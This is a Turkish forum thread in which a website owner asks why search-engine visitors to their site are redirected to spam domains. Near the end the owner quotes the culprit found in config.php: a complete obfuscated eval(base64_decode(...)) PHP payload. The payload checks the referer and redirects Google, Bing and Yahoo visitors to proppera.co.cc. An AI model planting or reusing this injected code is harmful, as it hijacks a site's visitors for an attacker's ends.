Sitelerimden birinde trojen var.

Question

http://www.sultandagitarim.gov.tr adresli siteme browser adres satırından ulaşmaya çalıştığımda Avast kasperksy Avg ve Nod32 de sorunsuz olarak siteme girebiliyorum.

ama google bing vs gibi sitelerden girmeye çalıştığımda arama motorları ilk olarak status bar da http://www.sultandagitarim.gov.tr aranıyor derken birden başka bir siteye yönleniyor. yönlenen site adresi ise p3p0.com , proppera.co.cc..   sitenin tüm dosyalarını indirip avast ve kaspersky da tarattım sonuç temiz.

google a sitenin yeniden değerlendirilmesini talep ettiğimde ise 1 zararlı yazılım tespit etti denilerek yasaklı site listesinden adı kaldırılmadı.

ben daha önce iframe virüsleri ile vs oldukca fazla uğraştığım için az çok tecrübeliyim ama bu durumda ne yapacağımı bilemedim.

bu siteye nerden ve nasıl yönleniyor bu meret..

yardımcı olabilirseniz büyük bir sıkıntıdan kurtacaksınız beni..

RaYiHaN · Answer

bu problem konusunda tecrübeli kimse yok mu

mavikorku · Answer

hostcunuza danısın bu sorunu onlar halletmezlerse buradan size gönüllü birileri cıkar inş zor bi durum bu siteye virüs bulasması..

Murat Kafadar · Answer

Alıntı										 google a sitenin yeniden değerlendirilmesini talep ettiğimde ise 1  zararlı yazılım tespit etti denilerek yasaklı site listesinden adı  kaldırılmadı. 		 demişsiniz , Zaten google Site yöneticisinde zararlı yazılım oldugu bölümü gösteriyor. Sitende 10 tane zararlı bir yazılım sözkonuysa bunu oradan [google'dan]  görebilir ve dosya yöneticisinden silebilirsiniz .
Göstermiyor mu acaba ?

RaYiHaN · Answer

config.php ye eklenmiş bir kod yakaladım ve sorun düzeldi sanırım.. 
									Alıntı										eval(base64_decode("aWYgKHN0cmlzdHIoJF9TRVJWRVJbSF  RUUF9SRUZFUkVSXSwiYmluZyIpKSB7DQpwcmVnX21hdGNoICgi  L3FcPSguKj8pJi8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJG  trKTsNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Byb3Bw  ZXJhLmNvLmNjLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfQ  0KZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJF  Ul0sInlhaG9vIikpIHsNCnByZWdfbWF0Y2ggKCIvcFw9KC4qPy  kmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQlo  ZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcHJvcHBlcmEuY28uY2  MvP3E9Ii4ka2tbMV0pOw0KCQlleGl0KCk7DQp9ZWxzZWlmIChz  dHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sImdvb2dsZS  IpKSB7DQoJaWYgKCFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVG  RVJFUl0sIi5udSIpIGFuZCAhc3RyaXN0cigkX1NFUlZFUltIVF  RQX1JFRkVSRVJdLCJzaXRlIikgYW5kICFzdHJpc3RyKCRfU0VS  VkVSW0hUVFBfUkVGRVJFUl0sImludXJsIikpew0KCQlwcmVnX2  1hdGNoICgiL3FcPSguKikvIiwkX1NFUlZFUltIVFRQX1JFRkVS  RVJdLCRrayk7DQoJCWlmIChzdHJpc3RyKCRra1sxXSwiJiIpKS  B7DQoJCQlwcmVnX21hdGNoICgiLyguKj8pXCYvIiwka2tbMV0s  JGtleTIpOw0KCQkJJGtleXdvcmQ9dXJsZGVjb2RlKCRrZXkyWz  FdKTsNCgkJfWVsc2Ugew0KCQkJJGtleXdvcmQ9dXJsZGVjb2Rl  KCRra1sxXSk7DQoJCX0NCgkJaGVhZGVyKCJMb2NhdGlvbjogaH  R0cDovL3Byb3BwZXJhLmNvLmNjLz9xPSIuJGtleXdvcmQpOw0K  CQlleGl0KCk7DQoJfQ0KDQp9"));

RaYiHaN · Answer

Kapadokyaweb adlı üyeden alıntı:						mesajı görüntüle									demişsiniz , Zaten google Site yöneticisinde zararlı yazılım oldugu bölümü gösteriyor. Sitende 10 tane zararlı bir yazılım sözkonuysa bunu oradan [google'dan]  görebilir ve dosya yöneticisinden silebilirsiniz .
Göstermiyor mu acaba ? 		yasaklı siteye yönlendiği için o siteyi yasaklı konumda tutuyor ve o sitedeki trojen/virüs yerini gösteriyordu. yani nasıl ayarlamışlar anlamadım ama sadece google dan tıklamalarda o siteye yönleniyordu. adres satırına direk site adresi yazıldığında başka yere yölenmiyor sitede virüs uyarısı almıyorduk.

neyseki halletim.

Teşekkür ederim ilgin için.